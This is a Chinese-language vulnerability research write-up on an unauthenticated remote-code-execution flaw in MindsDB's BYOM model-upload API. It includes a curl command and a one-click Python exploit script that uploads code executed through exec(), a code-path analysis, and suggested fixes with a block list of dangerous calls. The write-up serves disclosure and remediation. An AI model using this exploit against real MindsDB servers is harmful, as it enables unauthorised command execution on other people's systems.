MindsDB BYOM 远程代码执行漏洞挖掘

前言

最近爆出来的漏洞该分析的也都分析了,于是准备开始挖掘一些漏洞了,分析了比较多的漏洞后,对这类 AI 应用或者 AI 组件的漏洞比较熟悉,上手起来还是很快,挖掘到了一些 RCE 的漏洞

漏洞描述

MindsDB 的 BYOM 功能允许用户通过 HTTP API 上传自定义 Python 模型代码。

关键问题:

  • 上传的代码在创建引擎时通过 exec() 直接执行
  • 无需预先在服务器上创建文件
  • 无需认证(默认配置)
  • 通过单个 HTTP PUT 请求即可实现 RCE

环境搭建

# 1. 克隆漏洞版本
git clone https://github.com/mindsdb/mindsdb.git
cd mindsdb
git checkout v25.11.0

# 2. 安装
pip install -e .

# 3. 启动 HTTP API
python -m mindsdb --api=http

服务将在 http://127.0.0.1:47334 启动。

漏洞复现

准备恶意代码

首先必须符合我们上传文件的规范

比如

import os
import subprocess

# 执行系统命令
result = subprocess.run(['id'], capture_output=True, text=True)
with open('/tmp/pwned.txt', 'w') as f:
    f.write(f'PWNED: {result.stdout}')
class MyModel:
    def train(self, df, target, args=None):
        return self
    def predict(self, df, args=None):
        return df

PUT 文件上传

curl -X PUT http://127.0.0.1:47334/api/handlers/byom/pwned \
  -F 'code=@model.py' \
  -F 'modules=@requirements.txt' \
  -F 'type=inhouse'



因为我之前复现已经上传过了

显示文件已经存在,文件名称就是 byom 的下一个 pwned


上传后会自动执行,我们只需要验证



一键复现脚本

#!/usr/bin/env python3
import requests
import sys
import time

TARGET = "http://127.0.0.1:47334"

# 恶意代码
CODE = """import os, subprocess
result = subprocess.run(['whoami'], capture_output=True, text=True)
open('/tmp/pwned.txt', 'w').write('PWNED: ' + result.stdout)

class MyModel:
    def train(self, df, target, args=None): return self
    def predict(self, df, args=None): return df
"""

# 上传
files = {
    'code': ('model.py', CODE, 'text/plain'),
    'modules': ('requirements.txt', 'pandas\n', 'text/plain'),
}

r = requests.put(f"{TARGET}/api/handlers/byom/11", files=files, data={'type': 'inhouse'})
print(r.text)

if r.status_code == 200:
    time.sleep(1)
    print(open('/tmp/pwned.txt').read())



漏洞分析

数据流向

PUT /api/handlers/byom/<name>
        │
        ▼
┌─────────────────────────────────────────────────────────────┐
│ 1. prepare_formdata()                                       │
│    解析 multipart,保存用户上传的代码到临时文件              │
└─────────────────────────────────────────────────────────────┘
        │
        ▼
┌─────────────────────────────────────────────────────────────┐
│ 2. CreateMLEngine → integration_controller.add()            │
│    读取临时文件内容,传递给 byom_handler                     │
└─────────────────────────────────────────────────────────────┘
        │
        ▼
┌─────────────────────────────────────────────────────────────┐
│ 3. byom_handler.create_engine()                             │
│    调用 _get_model_proxy() 创建 ModelWrapperUnsafe           │
└─────────────────────────────────────────────────────────────┘
        │
        ▼
┌─────────────────────────────────────────────────────────────┐
│ 4. ModelWrapperUnsafe.__init__()                            │
│    调用 import_string(code)                                  │
└─────────────────────────────────────────────────────────────┘
        │
        ▼
┌─────────────────────────────────────────────────────────────┐
│ 5. import_string() → exec(code, module.__dict__)  ← RCE     │
│    直接执行用户提供的 Python 代码                             │
└─────────────────────────────────────────────────────────────┘

关键代码分析

API 认证

文件: mindsdb/api/http/namespaces/handlers.py

@ns_conf.route("/byom/<name>")
class BYOMUpload(Resource):
    @ns_conf.doc("put_file")
    @api_endpoint_metrics("PUT", "/handlers/byom/handler")
    def put(self, name):
        """upload new model

        params in FormData:
            - code       # Python 代码文件
            - modules    # requirements.txt
        """

        # 🔴 无认证检查 - 任何人都可以调用
        params = prepare_formdata()

        code_file_path = params["code"]
        module_file_path = params["modules"]

        connection_args = {
            "code": code_file_path,      # 用户代码的临时文件路径
            "modules": module_file_path,
            "type": params.get("type")  # "inhouse" = 在当前进程执行
        }

        # 创建 SQL 命令并执行
        ast_query = CreateMLEngine(
            name=Identifier(name),
            handler="byom",
            params=connection_args
        )
        command_executor.execute_command(ast_query)

        return "", 200

不需要认证,而且关键的是三个参数

        "code": code_file_path,      # 临时文件路径
        "modules": module_file_path,
        "type": params.get("type")  # "inhouse" = 在当前进程执行

code 作为我们的主要恶意文件内容

但是会被 prepare_formdata 函数处理,我们看看如何处理的

文件处理

文件: mindsdb/api/http/namespaces/handlers.py

def prepare_formdata():
    """处理 multipart 上传的文件"""
    params = {}
    file_names = []

    def on_file(file):
        file_name = file.file_name.decode()

        # 有路径遍历检查,但只检查文件名
        if Path(file_name).name != file_name:
            raise ValueError(f"Wrong file name: {file_name}")

        field_name = file.field_name.decode()

        # 只允许 "code" 和 "modules" 字段
        if field_name not in ("code", "modules"):
            raise ValueError(f"Wrong field name: {field_name}")

        params[field_name] = file.file_object
        file_names.append(field_name)

    # 创建临时目录
    temp_dir_path = tempfile.mkdtemp(prefix="mindsdb_file_")

    # 配置 multipart 解析器
    parser = multipart.create_form_parser(
        headers=request.headers,
        on_field=on_field,
        on_file=on_file,
        config={
            "UPLOAD_DIR": temp_dir_path.encode(),
            "UPLOAD_KEEP_FILENAME": True,
            "UPLOAD_KEEP_EXTENSIONS": True,
        },
    )

    # 解析请求体
    while True:
        chunk = request.stream.read(8192)
        if not chunk:
            break
        parser.write(chunk)
    parser.finalize()

    # 将我们上传的文件写入临时目录
    for file_name in file_names:
        file_path = os.path.join(temp_dir_path, file_name)
        with open(file_path, "wb") as f:
            params[file_name].seek(0)
            f.write(params[file_name].read())  # 🔴 写入我们提供的代码
        params[file_name].close()
        params[file_name] = file_path  # 返回文件路径

    return params


我们的代码被写入到了临时的目录

代码执行

文件: `mindsdb/integrations/handlers/byom_handler/proc_wrapper.py:

def import_string(code, module_name='model'):
    """
    将代码字符串作为 Python 模块导入

    Args:
        code: Python 代码字符串(用户上传的文件内容)
        module_name: 模块名称

    Returns:
        module: 包含执行后代码的模块对象
    """
    import types

    # 创建一个新的 Python 模块
    module = types.ModuleType(module_name)

    # 直接执行用户提供的 Python 代码
    # 代码在模块的 __dict__ 上下文中执行
    exec(code, module.__dict__)

    return module


可以看到 code 作为参数,直接交给了 exec 函数执行,不过对构造的 python 代码是有要求的

python 代码要求

文件: `mindsdb/integrations/handlers/byom_handler/byom_handler.py

class ModelWrapperUnsafe:
    """在当前进程中执行的 Model 包装器"""

    def __init__(self, code, modules_str, engine_id, engine_version: int):
        """
        Args:
            code: 用户上传的 Python 代码内容
            modules_str: requirements.txt 内容
        """
        self.module = import_string(code)

        # 查找用户定义的 Model 类
        model_class = find_model_class(self.module)
        if model_class is not None:
            model_instance = model_class()

        self.model_instance = model_instance

    def check(self, mode: str = None):
        """检查模块并返回方法信息"""
        methods = check_module(self.module, mode)
        return methods

文件: `mindsdb/integrations/handlers/byom_handler/proc_wrapper.py

def check_module(module, mode):
    """检查模块并返回信息"""

    methods = {}
    if mode == 'custom_function':
        methods = get_methods_info(module)
    else:
        # 是 BYOM,检查它
        # 🔴 查找包含 train 和 predict 方法的类
        model_class = find_model_class(module)
        if model_class is None:
            raise RuntimeError('Unable to find model class')

        # 🔴 尝试实例化模型类
        model_class()

    return {'methods': methods}

虽然是安全检查,但是针对的是代码的结构进行一个检查,并没有针对我们的代码内容进行检查,所以可以传入恶意的代码,然后触发命令执行

修复建议

使用沙箱执行环境

def import_string_safe(code, module_name='model'):
    import types
    import ast

    # 静态分析检查
    tree = ast.parse(code)
    for node in ast.walk(tree):
        # 禁止危险导入和调用
        if isinstance(node, (ast.Import, ast.ImportFrom)):
            for alias in node.names:
                if alias.name.split('.')[0] not in ALLOWED_IMPORTS:
                    raise SecurityError(f"Import blocked: {alias.name}")

    # 在受限环境中执行
    module = types.ModuleType(module_name)
    safe_globals = {'__builtins__': RESTRICTED_BUILTINS}
    exec(code, safe_globals, module.__dict__)
    return module

代码审核机制

def review_byom_code(code: str) -> bool:
    """静态分析 BYOM 代码"""
    dangerous = [
        'subprocess', 'os.system', 'eval', 'exec',
        '__import__', 'pickle', 'marshal'
    ]
    for pattern in dangerous:
        if pattern in code:
            return False
    return True

免责声明

本报告仅供安全研究和教育目的使用。所有测试均在授权环境中进行。

  • 请勿将本文提供的信息用于任何非法目的
  • 本文所述漏洞利用方法仅用于帮助理解和修复安全漏洞
  • 使用本文信息造成的任何后果,由使用者自行承担

参考资料